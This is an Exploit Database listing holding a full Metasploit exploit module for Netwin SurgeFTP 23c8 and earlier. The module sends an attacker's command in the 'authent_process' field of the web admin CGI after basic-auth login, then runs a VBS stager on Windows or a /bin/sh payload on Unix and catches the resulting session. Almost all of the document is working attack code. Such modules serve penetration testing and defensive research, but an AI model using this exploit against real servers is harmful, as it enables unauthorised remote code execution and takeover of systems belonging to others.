Netwin SurgeFTP - Remote Command Execution (Metasploit)

EDB-ID:

23601

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

REMOTE

Exploit: / {}

Platform:

MULTIPLE

Date:

2012-12-23

Vulnerable App:

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStagerVBS

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Netwin SurgeFTP Remote Command Execution',
            'Description'    => %q{
                    This module exploits a vulnerability found in Netwin
SurgeFTP, version 23c8
                or prior.  In order to execute commands via the FTP
service, please note that
                you must have a valid credential to the web-based
administrative console.
            },
            'Author'         =>
                [
                    'Spencer McIntyre',  #Who found this vuln?
                    'sinn3r'
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['EDB', '23522']
                ],
            'Targets'        =>
                [
                    [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'}  ],
                    [ 'Unix',    { 'Arch'=>ARCH_CMD, 'Platform'=>'unix',
'Payload'=>{'BadChars' => "\x22"}} ]
                ],
            'DisclosureDate' => 'Dec 06 2012'))

        register_options(
            [
                Opt::RPORT(7021),
                OptString.new('USERNAME', [ true, 'The username with admin
role to authenticate as', 'admin' ]),
                OptString.new('PASSWORD', [ true, 'The password for the
specified username', 'password' ])
            ], self.class)
    end

    def check
        res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
        if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end

    def execute_command(cmd, opts)
        http_send_command("cmd.exe /q /c #{cmd}")
    end
```

```
    def http_send_command(command)
        res = send_request_cgi(
        {
            'uri'     => '/cgi/surgeftpmgr.cgi',
            'method'  => 'POST',
            'basic_auth' => datastore['USERNAME'] + ":" +
datastore['PASSWORD'],
            'vars_post' =>
                {
                    'global_smtp' => "",
                    'global_restart' => "",
                    'global_style' => "",
                    'global_bind' => "",
                    'global_passive_ip' => "",
                    'global_passive_match' => "",
                    'global_logon_mode' => "",
                    'global_log_host' => "",
                    'global_login_error' => "",
                    'global_adminip' => "",
                    'global_total_users' => "",
                    'global_con_perip' => "",
                    'global_ssl' => "",
                    'global_ssl_cipher_list' => "",
                    'global_implicit_port' => "",
                    'log_level' => "",
                    'log_home' => "",
                    'global_watcher_program_ul' => "",
                    'global_watcher_program_dl' => "",
                    'authent_process' => command,
                    'authent_cmdopts' => "",
                    'authent_number' => "",
                    'authent_domain' => "",
                    'global_strip_user_domain' => "",
                    'global_noclass' => "",
                    'global_anon_hammer_over_time' => "",
                    'global_anon_hammer_max' => "",
                    'global_anon_hammer_block_time' => "",
                    'global_port' => "",
                    'global_mgr_port' => "",
                    'global_mgr_ssl_port' => "",
                    'cmd_global_save.x' => "36",
                    'cmd_global_save.y' => "8",
                }
        })

        if res and res.body =~ /401 Authorization failed/
            fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
        elsif not (res and res.code == 200)
            fail_with(Exploit::Failure::Unknown, 'Failed to execute
command.')
        end
    end

    def exploit
        case target['Platform']
        when 'win'
            print_status("#{rhost}:#{rport} - Sending VBS stager...")
            execute_cmdstager({:linemax=>500})

        when 'unix'
            print_status("#{rhost}:#{rport} - Sending payload...")
            http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
        end

        handler
    end
end
```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions